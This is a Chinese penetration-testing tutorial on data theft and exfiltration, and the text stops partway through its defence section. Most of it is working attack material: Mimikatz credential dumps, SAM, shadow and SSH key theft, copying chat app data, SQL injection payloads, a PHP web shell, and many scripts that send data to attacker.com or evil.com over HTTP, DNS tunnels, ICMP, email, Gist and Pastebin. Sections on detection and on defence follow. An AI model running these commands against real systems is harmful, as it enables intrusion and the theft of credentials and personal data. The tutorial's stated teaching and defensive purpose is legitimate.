Day-210-渗透测试中的数据窃取与 Exfiltration 技术

# Day 233: 渗透测试中的数据窃取与 Exfiltration 技术

> 渗透测试系列第 23 天 | 预计阅读时间：32 分钟 | 难度：★★★★★

---

## 清单 目录
1. [数据窃取概述](#数据窃取概述)
2. [敏感数据识别](#敏感数据识别)
3. [Windows 数据窃取](#windows-数据窃取)
4. [Linux 数据窃取](#linux-数据窃取)
5. [数据库数据窃取](#数据库数据窃取)
6. [云环境数据窃取](#云环境数据窃取)
7. [数据 Exfiltration 技术](#数据-exfiltration-技术)
8. [数据窃取检测](#数据窃取检测)
9. [防御与响应](#防御与响应)
10. [实战案例](#实战案例)
11. [总结与思考](#总结与思考)
12. [参考资料](#参考资料)

---

## 数据窃取概述

### 什么是数据窃取

数据窃取（Data Exfiltration）是渗透测试和攻击链中的最终阶段，指攻击者在成功入侵系统后，将敏感数据从目标网络传输到外部控制系统的过程。这是大多数攻击的最终目标，也是造成实际损失的关键环节。

```
┌─────────────────────────────────────────────────────────────────┐
│                    攻击链中的数据窃取                            │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  初始访问 → 权限提升 → 权限维持 → 横向移动 → 数据窃取            │
│                                                          ↑      │
│                                                     本阶段重点  │
│                                                                 │
│  数据窃取流程：                                                  │
│  ┌──────────┐    ┌──────────┐    ┌──────────┐    ┌──────────┐ │
│  │ 数据发现  │ →  │ 数据收集  │ →  │ 数据打包  │ →  │ 数据传输  │ │
│  └──────────┘    └──────────┘    └──────────┘    └──────────┘ │
│       ↑               ↑               ↑               ↑        │
│   识别敏感数据    集中敏感数据    压缩加密处理    传出到外部    │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘
```

### 为什么数据窃取是关键

在真实的渗透测试和攻击场景中，我观察到数据窃取的重要性体现在以下几个方面：

1. **攻击的最终目标**: 大多数攻击的最终目的是获取敏感数据
2. **实际损失来源**: 数据泄露造成直接经济损失和声誉损害
3. **合规影响**: 数据泄露触发 GDPR、网络安全法等法规处罚
4. **威胁情报价值**: 了解攻击者如何窃取数据有助于防御
5. **检测重点**: 数据外传是最后防线，必须检测

### ! 道德与法律警示

```
┌─────────────────────────────────────────────────────────────────┐
│ !  重要警示：数据窃取的敏感性                                  │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  在授权渗透测试中：                                              │
│  + 可以模拟数据窃取技术来测试 DLP 系统                            │
│  + 评估数据分类和保护措施                                       │
│  + 测试数据泄露检测能力                                         │
│  - 但不得实际窃取真实敏感数据                                   │
│  - 不得将任何数据传出客户环境                                   │
│  - 必须使用模拟数据或脱敏数据                                   │
│  - 测试后必须删除所有收集的数据                                 │
│                                                                 │
│  在非授权场景中：                                                │
│  - 数据窃取是严重犯罪行为                                       │
│  - 可能触犯多部法律 (网络安全法、刑法等)                         │
│  - 会造成严重的民事和刑事责任                                   │
│                                                                 │
│  本文内容仅用于：                                                │
│  - 授权渗透测试 (使用模拟数据)                                   │
│  - 安全研究和教学                                                │
│  - 防御方了解攻击手法                                            │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘
```

### 数据窃取的核心原则

| 原则 | 说明 | 重要性 |
|------|------|--------|
| **隐蔽性** | 避免触发 DLP、IDS、防火墙告警 | ★★★★★ |
| **选择性** | 只窃取目标数据，避免无关数据 | ★★★★☆ |
| **完整性** | 确保数据完整传输，不损坏 | ★★★★★ |
| **可追溯性** | 记录窃取的数据和路径 (测试用) | ★★★★★ |
| **可清理性** | 测试后能完全删除所有副本 | ★★★★★ |

### 数据分类

```
敏感数据分类
├── 个人身份信息 (PII)
│   ├── 姓名、身份证号、护照号
│   ├── 电话号码、地址
│   ├── 生物识别信息
│   └── 医疗健康记录
├── 财务数据
│   ├── 银行账户、信用卡号
│   ├── 税务记录
│   ├── 工资信息
│   └── 财务报表
├── 知识产权
│   ├── 源代码
│   ├── 设计文档
│   ├── 专利资料
│   └── 商业机密
├── 认证凭证
│   ├── 密码哈希
│   ├── API 密钥
│   ├── 数字证书
│   └── SSH 密钥
├── 业务数据
│   ├── 客户列表
│   ├── 合同文档
│   ├── 邮件通信
│   └── 会议记录
└── 系统数据
    ├── 配置文件
    ├── 数据库备份
    ├── 日志文件
    └── 系统镜像
```

---

## 敏感数据识别

### 1. 文件内容扫描

#### 正则表达式匹配

```powershell
# PowerShell: 扫描敏感数据模式

# 中国身份证号 (18 位)
$chinaIdPattern = '\d{17}[\dXx]'

# 手机号
$phonePattern = '1[3-9]\d{9}'

# 邮箱
$emailPattern = '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}'

# 银行卡号 (16 位)
$cardPattern = '\d{4}[- ]?\d{4}[- ]?\d{4}[- ]?\d{4}'

# 扫描文件
Get-ChildItem -Path "C:\Documents" -Recurse -File | ForEach-Object {
    $content = Get-Content $_.FullName -Raw
    if ($content -match $chinaIdPattern) {
        Write-Host "[$($_.FullName)] 发现身份证号" -ForegroundColor Red
    }
    if ($content -match $cardPattern) {
        Write-Host "[$($_.FullName)] 发现银行卡号" -ForegroundColor Red
    }
}
```

```bash
# Linux: 使用 grep 扫描
# 扫描身份证号
grep -rE '\d{17}[\dXx]' /home/*/Documents/

# 扫描手机号
grep -rE '1[3-9][0-9]{9}' /home/*/Documents/

# 扫描邮箱
grep -rE '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' /home/*/Documents/

# 扫描银行卡号
grep -rE '\d{4}[- ]?\d{4}[- ]?\d{4}[- ]?\d{4}' /home/*/Documents/
```

#### 使用工具扫描

```powershell
# 使用 Tattletale (开源 DLP 工具)
# https://github.com/theresnotime/tattletale

# 使用 Presidio (微软开源数据识别工具)
# https://github.com/microsoft/presidio

# 安装 Presidio
pip install presidio-analyzer
pip install presidio-anonymizer

# 使用示例
from presidio_analyzer import AnalyzerEngine
analyzer = AnalyzerEngine()
results = analyzer.analyze(text="身份证号 110101199001011234", language='zh')
```

### 2. 文件类型识别

#### 敏感文件类型

| 类型 | 扩展名 | 敏感度 |
|------|--------|--------|
| **数据库文件** | .db, .sqlite, .mdb, .accdb | 高 |
| **备份文件** | .bak, .backup, .sql, .dump | 高 |
| **配置文件** | .config, .conf, .ini, .yaml, .env | 高 |
| **密钥文件** | .key, .pem, .pfx, .p12, .ppk | 高 |
| **文档** | .docx, .xlsx, .pptx, .pdf | 中 |
| **源代码** | .py, .java, .cpp, .js, .cs | 中 |
| **日志文件** | .log, .txt | 中 |
| **压缩文件** | .zip, .rar, .7z, .tar.gz | 中 |

#### 文件扫描脚本

```powershell
# PowerShell: 扫描敏感文件类型
$sensitiveExtensions = @(
    "*.db", "*.sqlite", "*.mdb", "*.accdb",
    "*.bak", "*.backup", "*.sql", "*.dump",
    "*.config", "*.conf", "*.ini", "*.yaml", "*.yml", "*.env",
    "*.key", "*.pem", "*.pfx", "*.p12", "*.ppk",
    "*.zip", "*.rar", "*.7z", "*.tar.gz"
)

foreach ($ext in $sensitiveExtensions) {
    Get-ChildItem -Path "C:\" -Filter $ext -Recurse -ErrorAction SilentlyContinue | 
        Select-Object FullName, Length, LastWriteTime
}
```

```bash
# Linux: 扫描敏感文件
# 数据库文件
find /home /var /opt -name "*.db" -o -name "*.sqlite" -o -name "*.sql" 2>/dev/null

# 配置文件
find /home /etc /opt -name "*.conf" -o -name "*.config" -o -name ".env" 2>/dev/null

# 密钥文件
find /home /etc /root -name "*.key" -o -name "*.pem" -o -name "*.pfx" 2>/dev/null

# 备份文件
find /home /var /backup -name "*.bak" -o -name "*.backup" -o -name "*.tar.gz" 2>/dev/null
```

### 3. 数据库敏感数据识别

```sql
-- 扫描数据库中的敏感列名

-- SQL Server
SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME 
FROM INFORMATION_SCHEMA.COLUMNS 
WHERE COLUMN_NAME LIKE '%password%' 
   OR COLUMN_NAME LIKE '%secret%' 
   OR COLUMN_NAME LIKE '%key%'
   OR COLUMN_NAME LIKE '%token%';

-- PostgreSQL
SELECT table_schema, table_name, column_name 
FROM information_schema.columns 
WHERE column_name ~* 'password|secret|key|token';
```

---

## Windows 数据窃取

### 1. 文件收集与打包

#### 批量收集文件

```powershell
# PowerShell: 收集特定类型文件
$targetTypes = @("*.docx", "*.xlsx", "*.pptx", "*.pdf")
$destination = "C:\Temp\collected_data"
New-Item -ItemType Directory -Path $destination -Force

foreach ($type in $targetTypes) {
    Get-ChildItem -Path "C:\Users" -Filter $type -Recurse -ErrorAction SilentlyContinue | 
        Copy-Item -Destination $destination -Force
}

# 收集特定目录
Get-ChildItem -Path "C:\Users\*\Documents" -Recurse -ErrorAction SilentlyContinue | 
    Copy-Item -Destination "$destination\Documents" -Recurse -Force

Get-ChildItem -Path "C:\Users\*\Desktop" -Recurse -ErrorAction SilentlyContinue | 
    Copy-Item -Destination "$destination\Desktop" -Recurse -Force
```

#### 压缩打包

```powershell
# PowerShell: 压缩文件
Add-Type -Assembly System.IO.Compression.FileSystem
$compression = [System.IO.Compression.CompressionLevel]::Optimal

# 创建 ZIP 文件
$source = "C:\Temp\collected_data"
$destination = "C:\Temp\data_package.zip"
[System.IO.Compression.ZipFile]::CreateFromDirectory($source, $destination, $compression, $false)

# 带密码的 ZIP (需要 7-Zip)
& "C:\Program Files\7-Zip\7z.exe" a -pPassword123 -mhe=on "C:\Temp\data_package.7z" "C:\Temp\collected_data\*"
```

#### 分卷压缩

```powershell
# 大文件分卷压缩
& "C:\Program Files\7-Zip\7z.exe" a -v100m "C:\Temp\data_package.7z" "C:\Temp\collected_data\*"
# 生成 data_package.7z.001, data_package.7z.002, ...
```

### 2. 凭据窃取

#### Windows 凭据管理器

```powershell
# 导出 Windows 凭据
cmdkey /list

# 使用 Mimikatz 导出凭据
mimikatz # sekurlsa::logonpasswords
mimikatz # vault::cred
mimikatz # vault::list

# 使用 PowerShell 读取凭据 (需要权限)
Add-Type -AssemblyName System.Security
$creds = Get-StoredCredential  # 需要 CredentialManager 模块
```

#### 浏览器保存的密码

```powershell
# Chrome 密码位置
$chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"

# Firefox 密码位置
$firefoxPath = "$env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\logins.json"

# 使用 Mimikatz 提取
mimikatz # dpapi::chrome /in:"$chromePath" /masterkey

# 使用 Python 脚本
# https://github.com/unode/firefox_decrypt
```

#### 系统凭据

```powershell
# SAM 数据库 (需要 SYSTEM 权限)
reg save HKLM\SAM C:\temp\sam.hive
reg save HKLM\SYSTEM C:\temp\system.hive

# 使用 Mimikatz 破解
mimikatz # lsadump::sam /sam:C:\temp\sam.hive /system:C:\temp\system.hive

# NTDS.dit (域控制器)
# 位于 C:\Windows\NTDS\ntds.dit
```

### 3. 邮件数据窃取

#### Outlook 数据

```powershell
# Outlook PST/OST 文件位置
$pstPaths = @(
    "$env:LOCALAPPDATA\Microsoft\Outlook\*.pst",
    "$env:LOCALAPPDATA\Microsoft\Outlook\*.ost",
    "$env:APPDATA\Microsoft\Outlook\*.pst"
)

foreach ($path in $pstPaths) {
    Get-Item $path -ErrorAction SilentlyContinue | 
        Select-Object FullName, Length
}

# 复制 PST 文件
Copy-Item "$env:LOCALAPPDATA\Microsoft\Outlook\*.pst" -Destination "C:\Temp\email_data\" -Force
```

#### Exchange 邮件导出

```powershell
# 使用 Exchange PowerShell (需要权限)
# 导出邮箱
New-MailboxExportRequest -Mailbox user@corp.com -FilePath \\server\share\user.pst

# 使用 EWS API
# https://github.com/dafthack/MailSniper
Invoke-MailSniper -SearchAll -Keywords "password,secret,confidential"
```

### 4. 即时通讯数据

#### 微信数据

```powershell
# 微信数据位置 (Windows)
$wechatPath = "$env:USERPROFILE\Documents\WeChat Files\*"

# 聊天记录数据库
Get-ChildItem $wechatPath -Recurse -Filter "*.db" | 
    Select-Object FullName

# 复制数据
Copy-Item $wechatPath -Destination "C:\Temp\wechat_data\" -Recurse -Force
```

#### 企业微信/钉钉

```powershell
# 企业微信数据
$wxworkPath = "$env:APPDATA\WXWork\*"

# 钉钉数据
$dingtalkPath = "$env:APPDATA\DingTalk\*"

# 复制数据
Copy-Item $wxworkPath -Destination "C:\Temp\wxwork_data\" -Recurse -Force
Copy-Item $dingtalkPath -Destination "C:\Temp\dingtalk_data\" -Recurse -Force
```

---

## Linux 数据窃取

### 1. 文件收集与打包

#### 批量收集文件

```bash
#!/bin/bash
# Linux: 收集敏感文件

DEST="/tmp/collected_data"
mkdir -p $DEST

# 收集文档
find /home -type f $ -name "*.doc" -o -name "*.docx" -o -name "*.pdf" -o -name "*.xls" -o -name "*.xlsx" $ 2>/dev/null | while read file; do
    cp --parents "$file" $DEST 2>/dev/null
done

# 收集配置文件
find /etc /home /opt -type f $ -name "*.conf" -o -name "*.config" -o -name ".env" -o -name "*.yaml" -o -name "*.yml" $ 2>/dev/null | while read file; do
    cp --parents "$file" $DEST 2>/dev/null
done

# 收集数据库备份
find /var /home /backup -type f $ -name "*.sql" -o -name "*.dump" -o -name "*.bak" $ 2>/dev/null | while read file; do
    cp --parents "$file" $DEST 2>/dev/null
done
```

#### 压缩打包

```bash
# 创建压缩包
tar -czvf /tmp/data_package.tar.gz -C /tmp collected_data/

# 加密压缩
tar -czf - collected_data/ | openssl enc -aes-256-cbc -salt -out /tmp/data_package.enc -pass pass:Password123

# 使用 7z
7z a -pPassword123 -mhe=on /tmp/data_package.7z /tmp/collected_data/

# 分卷压缩
tar -czf - collected_data/ | split -b 100M - /tmp/data_package.tar.gz.
```

### 2. 凭据窃取

#### Shadow 文件

```bash
# 需要 root 权限
sudo cat /etc/shadow
sudo cat /etc/passwd

# 备份
sudo cp /etc/shadow /tmp/shadow.bak
sudo cp /etc/passwd /tmp/passwd.bak
```

#### SSH 密钥

```bash
# 收集 SSH 密钥
find /home /root -name "id_rsa" -o -name "id_ed25519" -o -name "authorized_keys" 2>/dev/null

# 复制密钥
for user in $(cut -d: -f1 /etc/passwd); do
    home=$(getent passwd $user | cut -d: -f6)
    if [ -d "$home/.ssh" ]; then
        cp -r "$home/.ssh" /tmp/ssh_keys/$user/
    fi
done
```

#### 历史命令

```bash
# 收集所有用户的 bash 历史
for user in $(cut -d: -f1 /etc/passwd); do
    home=$(getent passwd $user | cut -d: -f6)
    if [ -f "$home/.bash_history" ]; then
        cp "$home/.bash_history" /tmp/history/$user.bash_history
    fi
done
```

### 3. 数据库数据

#### MySQL/MariaDB

```bash
# 导出数据库
mysqldump -u root -p --all-databases > /tmp/all_databases.sql

# 导出特定数据库
mysqldump -u root -p database_name > /tmp/database.sql

# 导出表结构
mysqldump -u root -p --no-data database_name > /tmp/schema.sql
```

#### PostgreSQL

```bash
# 导出所有数据库
pg_dumpall -U postgres > /tmp/all_databases.sql

# 导出特定数据库
pg_dump -U postgres database_name > /tmp/database.sql
```

#### MongoDB

```bash
# 导出数据库
mongodump --out /tmp/mongodb_backup/
```

### 4. 日志文件

```bash
# 收集系统日志
cp /var/log/auth.log /tmp/logs/
cp /var/log/syslog /tmp/logs/
cp /var/log/messages /tmp/logs/

# 收集应用日志
cp -r /var/log/apache2/ /tmp/logs/
cp -r /var/log/nginx/ /tmp/logs/
cp -r /var/log/mysql/ /tmp/logs/

# 收集审计日志
cp /var/log/audit/audit.log /tmp/logs/
```

---

## 数据库数据窃取

### 1. SQL 注入数据窃取

#### 基础 SQL 注入

```sql
-- 联合查询注入
SELECT * FROM users WHERE id = 1 UNION SELECT 1, username, password FROM users--

-- 获取数据库信息
SELECT * FROM users WHERE id = 1 UNION SELECT 1, version(), database()--

-- 获取表名
SELECT * FROM users WHERE id = 1 UNION SELECT 1, table_name, 1 FROM information_schema.tables--

-- 获取列名
SELECT * FROM users WHERE id = 1 UNION SELECT 1, column_name, 1 FROM information_schema.columns WHERE table_name='users'--
```

#### 盲注数据窃取

```sql
-- 基于时间的盲注
SELECT * FROM users WHERE id = 1 AND IF(1=1, SLEEP(5), 0)--

-- 基于布尔的盲注
SELECT * FROM users WHERE id = 1 AND SUBSTRING(username, 1, 1) = 'a'--

-- 提取数据 (逐字符)
SELECT * FROM users WHERE id = 1 AND ASCII(SUBSTRING(password, 1, 1)) > 64--
```

#### 使用 sqlmap

```bash
# 使用 sqlmap 自动窃取
sqlmap -u "http://target.com/page?id=1" --dbs
sqlmap -u "http://target.com/page?id=1" -D database_name --tables
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --columns
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump

# 直接获取 shell
sqlmap -u "http://target.com/page?id=1" --os-shell
```

### 2. 数据库权限滥用

#### 数据库文件读取

```sql
-- MySQL: 读取文件
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('C:\\Windows\\System32\\drivers\\etc\\hosts');

-- MySQL: 写入文件
SELECT '<?php eval($_POST[c]);?>' INTO OUTFILE '/var/www/shell.php';

-- PostgreSQL: 读取文件
SELECT pg_read_file('/etc/passwd');

-- SQL Server: 读取文件
EXEC xp_readerrorlog;
EXEC master..xp_cmdshell 'type C:\Windows\System32\drivers\etc\hosts';
```

### 3. 数据库批量导出

```bash
# 使用 Python 脚本批量导出
#!/usr/bin/env python3
import pymysql
import os

conn = pymysql.connect(host='localhost', user='root', password='password')
cursor = conn.cursor()

# 获取所有数据库
cursor.execute("SHOW DATABASES")
databases = cursor.fetchall()

for db in databases:
    db_name = db[0]
    if db_name in ('information_schema', 'performance_schema', 'mysql'):
        continue
    
    # 导出数据库
    os.system(f"mysqldump -u root -p'password' {db_name} > /tmp/{db_name}.sql")
    print(f"Exported {db_name}")

cursor.close()
conn.close()
```

---

## 云环境数据窃取

### AWS 环境

#### S3 数据窃取

```bash
# 列出所有 S3 桶
aws s3 ls

# 列出桶内容
aws s3 ls s3://bucket-name/ --recursive

# 下载整个桶
aws s3 cp s3://bucket-name/ /tmp/s3_data/ --recursive

# 批量下载多个桶
for bucket in $(aws s3 ls | awk '{print $3}'); do
    aws s3 cp s3://$bucket/ /tmp/s3_data/$bucket/ --recursive
done
```

#### RDS 数据窃取

```bash
# 创建 RDS 快照
aws rds create-db-snapshot --db-instance-identifier prod-db --db-snapshot-identifier stolen-snapshot

# 导出快照到 S3
aws rds export-snapshot-to-s3 \
    --export-task-identifier export-task \
    --source-db-snapshot-identifier stolen-snapshot \
    --s3-bucket my-bucket \
    --s3-prefix rds-export \
    --iam-role-arn arn:aws:iam::123456789:role/rds-export-role

# 下载快照
aws s3 cp s3://my-bucket/rds-export/ /tmp/rds_data/ --recursive
```

#### Secrets Manager 窃取

```bash
# 列出所有密钥
aws secretsmanager list-secrets

# 获取密钥值
aws secretsmanager get-secret-value --secret-id MySecret --query SecretString --output text

# 批量导出
aws secretsmanager list-secrets --query 'SecretList[*].Name' --output text | \
    xargs -I {} aws secretsmanager get-secret-value --secret-id {} > /tmp/secrets.json
```

### Azure 环境

#### Blob 存储窃取

```bash
# 使用 Azure CLI
az storage container list --account-name mystorageaccount

az storage blob download-batch \
    --source mycontainer \
    --destination /tmp/blob_data \
    --account-name mystorageaccount
```

#### SQL Database 导出

```bash
# 创建导出
az sql db export \
    --admin-password password \
    --admin-user admin \
    --name mydb \
    --resource-group myrg \
    --server myserver \
    --storage-key-type StorageAccessKey \
    --storage-key "key" \
    --storage-uri "https://mystorage.blob.core.windows.net/mycontainer/mydb.bacpac"
```

### GCP 环境

#### GCS 数据窃取

```bash
# 使用 gcloud
gsutil ls gs://

gsutil cp -r gs://bucket-name/ /tmp/gcs_data/
```

#### Cloud SQL 导出

```bash
# 创建导出
gcloud sql export sql myinstance gs://mybucket/export.sql \
    --database=mydb

# 下载
gsutil cp gs://mybucket/export.sql /tmp/
```

---

## 数据 Exfiltration 技术

### 1. 基于 HTTP/HTTPS 的外传

#### PowerShell 外传

```powershell
# 使用 Invoke-WebRequest
$data = Get-Content "C:\Temp\data_package.zip" -Encoding Byte
$encoded = [Convert]::ToBase64String($data)
Invoke-WebRequest -Uri "http://attacker.com/exfil" -Method POST -Body $encoded

# 分块传输 (避免大文件检测)
$chunkSize = 1MB
$bytes = [System.IO.File]::ReadAllBytes("C:\Temp\data_package.zip")
$chunks = [Math]::Ceiling($bytes.Length / $chunkSize)

for ($i = 0; $i -lt $chunks; $i++) {
    $start = $i * $chunkSize
    $end = [Math]::Min($start + $chunkSize, $bytes.Length)
    $chunk = $bytes[$start..($end-1)]
    $encoded = [Convert]::ToBase64String($chunk)
    Invoke-WebRequest -Uri "http://attacker.com/exfil?chunk=$i&total=$chunks" -Method POST -Body $encoded
}

# 使用 DNS over HTTPS (更隐蔽)
# 需要配合 DNS 隧道工具
```

#### curl 外传

```bash
# Linux: 使用 curl
curl -X POST -F "data=@/tmp/data_package.zip" http://attacker.com/exfil

# 分块传输
split -b 10M /tmp/data_package.zip chunk_
for chunk in chunk_*; do
    curl -X POST -F "data=@$chunk" http://attacker.com/exfil?chunk=$chunk
done

# 使用 HTTPS (加密)
curl -X POST -F "data=@/tmp/data_package.zip" https://attacker.com/exfil

# 使用证书验证绕过 (自签名证书)
curl -k -X POST -F "data=@/tmp/data_package.zip" https://attacker.com/exfil
```

### 2. 基于 DNS 的外传

#### DNS 隧道原理

```
┌─────────────────────────────────────────────────────────┐
│              DNS 隧道数据外传流程                        │
├─────────────────────────────────────────────────────────┤
│                                                         │
│  攻击者控制域：evil.com                                 │
│                                                         │
│  受害主机                    攻击者 DNS 服务器            │
│    │                            │                       │
│    │── DNS 查询 ────────────────→│                       │
│    │   data.chunk1.evil.com     │                       │
│    │                            │ 解码数据               │
│    │                            │                       │
│    │←── DNS 响应 ───────────────│                       │
│    │   A: 192.168.1.1           │                       │
│    │                            │                       │
│  数据编码在子域名中：                                     │
│  [Base64 数据].[分块序号].[攻击者域]                      │
│                                                         │
└─────────────────────────────────────────────────────────┘
```

#### DNS 隧道工具

```bash
# 使用 dnscat2

# 攻击者服务器
dnscat2-server --security=open evil.com

# 受害主机 (Windows)
# 下载 dnscat2 客户端
.\dnscat2.exe evil.com

# 受害主机 (Linux)
./dnscat2 evil.com

# 建立隧道后传输文件
# 在 dnscat2 会话中
download /tmp/data_package.zip
```

```bash
# 使用 iodine

# 攻击者服务器
iodined -f -c -P password123 10.0.0.1 evil.com

# 受害主机
iodine -f -P password123 evil.com

# 建立网络接口后，通过该接口传输数据
```

#### PowerShell DNS 外传

```powershell
# 手动 DNS 外传
$data = Get-Content "C:\Temp\sensitive.txt" -Raw
$encoded = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($data))

# 分块
$chunkSize = 50
$chunks = [Math]::Ceiling($encoded.Length / $chunkSize)

for ($i = 0; $i -lt $chunks; $i++) {
    $chunk = $encoded.Substring($i * $chunkSize, [Math]::Min($chunkSize, $encoded.Length - $i * $chunkSize))
    $domain = "$chunk.$i.$chunks.attacker.com"
    Resolve-DnsName $domain -QuickTimeout -ErrorAction SilentlyContinue
}
```

### 3. 基于 ICMP 的外传

#### ICMP 隧道

```bash
# 使用 icmpsh

# 攻击者服务器
python3 icmpsh.py

# 受害主机
./icmpsh-client.py attacker.com

# 通过 ICMP 传输数据
echo "sensitive data" | icmpsh -s attacker.com
```

#### PowerShell ICMP 外传

```powershell
# 使用 Ping 传输数据
$data = Get-Content "C:\Temp\sensitive.txt" -Raw
$encoded = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($data))

$chunkSize = 30
for ($i = 0; $i -lt $encoded.Length; $i += $chunkSize) {
    $chunk = $encoded.Substring($i, [Math]::Min($chunkSize, $encoded.Length - $i))
    ping -n 1 -l 0 -w 1000 "$chunk.attacker.com"
}
```

### 4. 基于邮件的外传

#### PowerShell 邮件外传

```powershell
# 使用 SMTP 发送邮件
$smtpServer = "smtp.attacker.com"
$smtpPort = 587
$username = "attacker@attacker.com"
$password = "password123"

$attachment = "C:\Temp\data_package.zip"
$base64 = [Convert]::ToBase64String([System.IO.File]::ReadAllBytes($attachment))

$smtp = New-Object Net.Mail.SmtpClient($smtpServer, $smtpPort)
$smtp.Credentials = New-Object System.Net.NetworkCredential($username, $password)
$smtp.EnableSsl = $true

$msg = New-Object System.Net.Mail.MailMessage
$msg.From = "victim@corp.com"
$msg.To.Add("attacker@attacker.com")
$msg.Subject = "Data"
$msg.Body = $base64

$smtp.Send($msg)
```

### 5. 基于云存储的外传

#### 上传到公共云存储

```powershell
# 上传到 GitHub Gist
$token = "github_token"
$content = Get-Content "C:\Temp\sensitive.txt" -Raw
$body = @{
    description = "Update"
    public = $false
    files = @{
        "data.txt" = @{
            content = $content
        }
    }
} | ConvertTo-Json

Invoke-RestMethod -Uri "https://api.github.com/gists" `
    -Headers @{Authorization = "token $token"} `
    -Method POST -Body $body
```

```bash
# 上传到 Pastebin
curl -F "api_dev_key=YOUR_API_KEY" \
     -F "api_option=paste" \
     -F "api_paste_code=@/tmp/sensitive.txt" \
     -F "api_paste_private=1" \
     https://pastebin.com/api/api_post.php
```

### 6. 隐蔽信道技术

#### 图片隐写

```bash
# 将数据隐藏到图片中
steghide embed -cf cover.jpg -ef data_package.zip -p password

# 上传图片
curl -X POST -F "image=@cover.jpg" http://attacker.com/upload

# 提取数据
steghide extract -sf cover.jpg -p password
```

#### 视频流外传

```
原理:
- 将数据编码到视频帧中
- 上传到视频平台 (YouTube, Bilibili)
- 攻击者下载视频并提取数据

工具:
- OpenStego
- Steghide
- 自定义脚本
```

---

## 数据窃取检测

### 1. 异常流量检测

#### 网络流量监控

```powershell
# Windows: 监控异常外连
netstat -ano | findstr "ESTABLISHED" | ForEach-Object {
    $parts = $_.Split()
    $remoteIp = $parts[2].Split(':')[0]
    $pid = $parts[-1]
    
    # 检查是否为已知外部 IP
    if ($remoteIp -notmatch "^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)") {
        Write-Host "可疑外连：$remoteIp (PID: $pid)" -ForegroundColor Red
    }
}
```

```bash
# Linux: 监控网络连接
# 使用 netstat
netstat -antp | grep ESTABLISHED | awk '{print $5, $7}' | sort | uniq -c

# 使用 ss
ss -antp | grep ESTABLISHED

# 监控大流量外传
iftop -P -n -i eth0
nethogs eth0
```

#### DLP 系统检测

```
DLP (Data Loss Prevention) 检测能力:
├── 内容检测
│   ├── 正则表达式匹配 (身份证号、银行卡号)
│   ├── 文件指纹匹配
│   └── 精确数据匹配 (EDM)
├── 文件类型检测
│   ├── 敏感文件扩展名
│   ├── 文件内容分析
│   └── 加密文件检测
├── 传输渠道检测
│   ├── HTTP/HTTPS 上传
│   ├── 邮件附件
│   ├── 云存储上传
│   └── 即时通讯传输
└── 行为分析
    ├── 异常数据传输量
    ├── 非工作时间传输
    └── 非常规目的地
```

### 2. 日志分析检测

#### Windows 事件日志

```powershell
# 检测大量文件访问
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4663} -MaxEvents 1000 | 
    Group-Object -Property {$_.TimeCreated.Hour} | 
    Sort-Object Count -Descending

# 检测异常进程访问文件
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4663} | 
    Where-Object {$_.Message -like "*ProcessName:*powershell*" -or $_.Message -like "*ProcessName:*cmd*"} |
    Select-Object TimeCreated, Message

# 检测大文件创建
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4663} | 
    Where-Object {$_.Message -like "*FileSize:*"} |
    Select-Object TimeCreated, Message
```

#### Linux 审计日志

```bash
# 配置 auditd 监控敏感文件访问
sudo vim /etc/audit/rules.d/data_protection.rules

# 监控敏感目录访问
-w /home/*/Documents/ -p wa -k sensitive_access
-w /etc/ -p wa -k etc_access
-w /var/log/ -p wa -k log_access

# 监控大文件读取
-a exit,always -F arch=b64 -S open -S openat -F perm=r -k file_read

# 查看日志
ausearch -k sensitive_access
ausearch -k file_read

# 分析工具
aureport -f  # 文件报告
aureport -t  # 时间报告
```

### 3. 数据量异常检测

```powershell
# PowerShell: 检测异常数据传输
$threshold = 100MB  # 阈值
$processes = Get-Process | Sort-Object WS -Descending

foreach ($proc in $processes | Select-Object -First 10) {
    if ($proc.WorkingSet64 -gt $threshold) {
        Write-Host "警告：进程 $($proc.Name) (PID: $($proc.Id)) 内存使用异常：$([Math]::Round($proc.WorkingSet64 / 1MB, 2)) MB" -ForegroundColor Red
    }
}

# 监控网络流量
Get-Counter '\Network Interface(*)\Bytes Total/sec' | 
    Select-Object -ExpandProperty CounterSamples |
    Where-Object {$_.CookedValue -gt 10MB} |
    Select-Object Path, CookedValue
```

### 4. 用户行为分析

```
UEBA (User and Entity Behavior Analytics) 检测:
├── 基线行为分析
│   ├── 正常工作时间的访问模式
│   ├── 通常访问的文件和系统
│   └── 常规的数据传输量
├── 异常行为检测
│   ├── 非工作时间访问
│   ├── 访问不寻常的文件
│   ├── 异常的数据下载量
│   └── 连接到外部地址
└── 风险评分
    ├── 综合多个指标
    ├── 动态调整阈值
    └── 自动生成告警
```

---

## 防御与响应

### 1. 数据分类与保护

#### 数据分类策略

```
数据分类级别:
├── 公开 (Public)
│   └── 可对外公开的信息
├── 内部 (Internal)
│   └── 仅限内部员工访问
├── 机密 (Confidential)
│   └── 敏感业务数据，需要授权访问
└── 绝密 (Restricted)
    └── 核心机密，严格限制访问

分类标记:
- 文件元数据标记
- 数字水印
- 访问控制标签
```

#### 数据加密

```powershell
# Windows: 使用 BitLocker
# 启用 BitLocker
Enable-BitLocker -MountPoint "C:" -EncryptionMethod Aes256 -UsedSpaceOnly

# 使用 EFS 加密文件
$files = Get-ChildItem "C:\Sensitive\*"
$files | ForEach-Object {
    $cipher = [System.IO.File]::OpenText($_.FullName)
    # EFS 自动加密
}
```

```bash
# Linux: 使用加密
# 文件加密
gpg -c sensitive_file.txt  # 对称加密
gpg -e -r recipient sensitive_file.txt  # 非对称加密

# 目录加密
